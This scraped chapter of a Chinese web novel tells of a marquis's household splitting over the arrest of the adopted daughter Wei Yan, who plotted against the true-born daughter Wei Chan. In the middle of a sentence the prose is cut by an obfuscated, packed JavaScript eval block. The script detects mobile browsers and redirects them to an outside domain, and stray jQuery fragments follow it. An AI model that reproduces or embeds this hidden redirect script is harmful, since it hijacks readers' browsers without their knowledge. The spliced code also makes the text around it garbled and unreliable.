默认冷灰
24号文字
方正启体

83. 报恩的郡主(82)

作者:卿未眠本书字数:K更新时间:
    又过了几日,祁都府衙派人去昌平侯府拿人,拿的是魏妍主仆,说她们买通混混意图强掳女子、毁人清白,要抓她们回去受审。


    昌平侯老夫人初始不肯相信,非说衙役浑说,没凭没据就来昌平侯府撒野,横眉冷对指责他们欺辱侯府,还派人去叫当值的昌平侯,让他回来惩治这些无礼之徒。


    昌平侯夫人更是不信,一直说她的女儿乖巧懂事,根本不可能做这样的事,嫌府衙莫不是屈打成招,让那些匪徒胡乱攀咬,坏她女儿名声。


    说着说着,她还硬扯了魏婵出来,说衙役是不是认错了人,家里只有这个丫头从乡下回来不久,唯有她可能接触那些不三不四的人,一定是府衙弄错了。


    衙役也没见过这样非要让他们换人抓的,仔细把怎么接收的匪徒、从谁那儿接收的,事情前因后果如何,审问的供词如何一一说了一遍,按理说这些属问案细节,要记入卷宗封存的,不该随意告知他人,可眼下为了解释清楚原委,他们只得说明白,省得被人误会他们乱抓人。


    哪知这昌平侯夫人根本不信,老夫人将信将疑倒是不反驳了,可却叫骂起侯府失了体面、污了名声等等的话。


    府里的大少爷、三少爷正是昌平侯嫡出二子,他们得了消息从学里赶来,也是辩解维护魏妍,硬是不让衙役抓人。


    魏婵被昌平侯夫人扯出来,又被两个兄长推出去,说肯定是她做的,和魏妍无关。


    这闹哄哄的一幕让魏婵越加心寒,她冷漠地看着她的母亲和兄长,他们都是她最亲的亲人啊,却也只有他们这般对待她。


    昌平侯还有三个弟弟,一嫡两庶,这时二房、三房、四房的夫人都赶来了,瞧见这场景各自使人去喊她们的夫君回来。


    二房和昌平侯一样是老夫人生的,三房、四房是庶出,平日里就不得老夫人待见,此时更是悄默着不敢出声。


    二房夫人不屑地瞥了眼昌平侯夫人和魏妍,走到老夫人身边劝道:“母亲,是非曲直侯爷回来自会与府衙论长短,眼下吵吵闹闹成何体统,平白丢了咱家的体面。”


    “你说的是,我都被气糊涂了!”老夫人拍拍二房夫人扶着她的手,冷喝道,“老大媳妇,还不住嘴,闹成这般有何脸面?”


    她又转向大孙子、三孙子:“此时正是上学的时候,你们为何会跑回来?是哪个不长眼的给你们传的信?”老夫人冷冷看向魏妍,除了她根本不做他想。


    “祖母,是我们莽撞了,只是听到家里出事心中急切,才失了分寸,不过离开学堂前我和弟弟都跟夫子告假了,并非逃课出来的。”大少爷已经17岁了,到底年长得多,条理分明地一解释,立马就让老夫人消气了。


    “是啊,祖母,我们也是关心则乱,并非有意为之。”三少爷15岁了,知道不能惹祖母生气,不然可能迁怒到魏妍身上,便顺着说道。


    老夫人气消了些,冷哼一声收回盯着魏妍的目光,继而吩咐道:“你们带这几位先去喝茶,等你父亲回来再与他们说话。”


    兄弟俩应了声,转而去安顿那些衙役。


    老夫人年纪大了,精力有限,没想着在昌平侯不在的时候询问魏妍,且魏婵得了长宁郡主青眼,去长公主府做客都能待上大半天,也不好随意再训斥责罚,万一郡主再邀她做客呢?她还指望着这丫头跟郡主熟悉了,把府里其他姑娘也带着和郡主多相处。


    谁知她没吭声,昌平侯夫人却立时爆发了,那些衙役一走,她转脸就甩了魏婵一个巴掌,怒骂她“搅家精”“上不得台面”等等。


    魏婵捂着脸泪眼朦胧,二房夫人也没想到会如此,走过来揽住小姑娘就拧眉道:“大嫂作何打婵姐儿,今日之事与她何关?府衙要抓的也是四姑娘,人家也不可能无凭无据来抓她,你怎不问问她都干了些什么?”


    “若不是她存心挑事,还把家丑捅给外人,衙役怎会知晓我们府中事?打量着谁不知道她的心思,分明就是嫌妍姐儿占了她的,算计着要坏了妍姐儿的名声!”昌平侯夫人恨恨瞪着魏婵。


    二房夫人简直目瞪口呆,再没见过这样的女人:“大嫂是聋了吗?没听到那衙役说,匪徒是勇毅侯世子让人送去的,又不是婵姐儿将人送官,再说了,就算送了又如何?”她冷睨旁边一副委屈模样的魏妍,“某些人不作恶,又怎会被府衙找上?你不心疼婵姐儿便罢了,这种事还能硬赖到她头上?真真是好没道理!”


    “行了,吵什么!”老夫人脑子胀突突的,出声喝止道。


    昌平侯夫人的反驳被迫咽了下去,更加气愤地瞪了魏婵几眼,转身走到魏妍身边柔声细语安抚起来。


    二房夫人见此真是被气笑了,以前只觉得大嫂心眼偏到没边,今日才发现她内里是个颠倒黑白的蠢货。她拍抚着安慰魏婵:“别怕,那匪徒是长公主府送去的,要是长公主府不发话,谁也没本事把这案子撤了,就是你爹也不行!”


    她就是明白这一点,今日才会出来跟大嫂辩白几句,这个魏妍这回肯定完了!


    之前在府里欺负婵姐儿,克扣婵姐儿东西、指使下人说闲话骂人,在老夫人跟前上眼药害得婵姐儿跪祠堂、受罚,这些只在他们大房闹,她能做的就是让二房的孩子们离远些,别受了牵累。


    可这次不同,这个魏妍居然买通匪徒对付婵姐儿,她这是想干什么?掳了婵姐儿卖出去还是毁人清白?这般心思恶毒的丫头,谁敢让她继续留在府里?


    三房夫人、四房夫人对视一眼,她们和二房夫人的想法类似,都想趁此机会把魏妍弄出府去,这丫头心太狠了。两人在老夫人被扶着去休息后,也去安慰魏婵了,说到底这才是正经的侯府血脉,和她们的孩子一样流着魏家的血。


    昌平侯很快回府,他见了那些衙役,从他们口中得知了始末,也看了匪徒们的供词,二话没说就让他们把魏妍主仆给带走了,昌平侯夫人一力阻止,就被他禁足了。


    至于两个儿子,昌平侯冷眼看着他们,说:“去书院读书,还是我请家法打你们每人二十板子?”


    两人素来怕严厉的父亲,当即灰溜溜回了书院,也不敢再为魏妍说什么求情的话。


    出了这样的事,昌平侯生气吗?当然气,可生气也得想办法处理,兼之又是长公主府把人抓了送到府衙的,这就又棘手了很多。


    他长叹几声,先去安抚老夫人,接着又去看了看一直没怎么在意的亲生女儿,见她一侧脸肿着,知道这是夫人打的,不免生出几分怜惜。


    可他严肃惯了,说不出几句安慰的话,只让人拿些药膏来,便叹息着离开了。


    昌平侯在兵部任职,任武库清吏司郎中,正五品,负责的是武器的管理、调配、维护等相关事宜,品级虽不高,却也是一司主官,平日里确实有些忙。


    他和大多数男子一样,总觉得内宅之事、子女教养,特别是女儿的教养都是夫人的事,所以,基本上不怎么过问这些。这个亲生女儿去年接回来他见了一次,之后便仅在家宴和请安的时候见一面,因每每见了他便怯懦着不敢说话,他就


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128214|180148||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    觉得这孩子太小家子气,自然心生不喜。


    但不喜归不喜,到底是亲生血脉,他也从未想过苛待她,谁知夫人会对她如此嫌恶呢?


    想到这些,昌平侯一阵头疼,要不是方才二弟妹来直言相告,他都不知道亲生女儿接回来后过得是备受欺凌的日子。


    要说他对魏妍有多深的父女之情,那倒没有,女儿家自小都是夫人教养的,他顶多过节、过生辰的时候让人挑点礼物送去,魏妍来请安、送汤的时候关心两句、温和一些,年幼时抱都仅有几次,这能处出多深的感情?


    昌平侯在这里头疼接下来该怎么做才能把对侯府的影响降到最低,另一边被禁足的昌平侯夫人让婢女叫来了魏婵,逼着她去长公主府求情,非要她想办法让长公主府撤诉,这样抓了匪徒的案子就不成立,那魏妍便无事了。


    “我不会去的,而且,就算我去了,长公主府岂会听我的?”魏婵气得发抖,再没见过昌平侯夫人这样的母亲。


    “你都不去怎知长公主府不会答应?况且,你不会去求长宁郡主,长公主最疼爱她,只要她开口了,长公主怎会不答应?”


    “那些贼人就是郡主让人送官的,郡主心有公正,不可能放了他们的!”


    昌平侯夫人拿了手边的茶盏就砸她:“你个下贱胚子,我就知道你嫉恨妍姐儿,见不得她好,说什么郡主心有公正,你不就是暗指我不公正吗?你怎么不找找自己的问题,不问问自己哪里值得我公正了?”


    魏婵闪了一下,躲开劈头飞来的茶盏,可到底被残茶溅湿了的裙子和鞋面,她脸色一白,难以置信地看向昌平侯夫人,气道:“是,我哪里都不好,可这不是你们造成的吗?要不是你连生产都看不住自己的孩子,让人调换了十几年都稀里糊涂弄不清真相,要不是你接我回来偏心偏信,只会罚我骂我,不好好教我,我至于像你说的那样礼仪疏漏、大字不识?”


    昌平侯夫人抖着唇:“你居然有脸怪我?你自己愚笨不堪,嬷嬷们怎么教都教不会,还怪到我头上来!”


    魏婵嘲讽:“为何不怪你?我若是从小长在侯府,从几岁大就开始学习礼仪、诗书,今时今日我自然也会像魏妍一样长成优秀的侯府嫡女,可我是吗?而我没能如此长大,不正是你们造成的?你们为何不怪自己?连个婴儿都看不好,到头来还怪这丢了的婴儿没长成你们期待的样子,这话说得可笑不可笑?”


    “再说那些嬷嬷,你知道她们怎么教我的吗?一日正经教不了什么,反倒是惩罚又多又重,她们受了魏妍指使只管欺负我,哪里会真的教我什么?什么礼仪规矩,我凭自己日日观察,能学到今日这般已是很好了,你做人母亲的对此一无所知,只听了魏妍嚼舌根就嫌弃我,有何脸面来指责我学不好?”


    “如今魏妍作恶被抓,你还要我去给她求情,我恨不能亲手撕了她,我还给她求情?做梦去吧!”魏婵一通发泄,不等昌平侯夫人再说什么,连礼都没行转身就走,一出门就扬声道,“来人,备车,我要去长公主府。”


    这种时候,她又说了这些话,显然不可能按照昌平侯夫人的意思去求情,且她脸上还有伤,这般去分明是要告状啊!


    家丑怎可外扬,昌平侯夫人赶忙命人去拦她,哪还顾得上计较她顶撞的那些话。


    最终,魏婵被劝了回来,可她在侯夫人院子里说的那些话传遍了侯府,一时间再没哪个敢小看她了,奴仆们对她越发恭敬,但凡她院子里派人要些什么,再没人敢拖拖拉拉、阳奉阴违了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)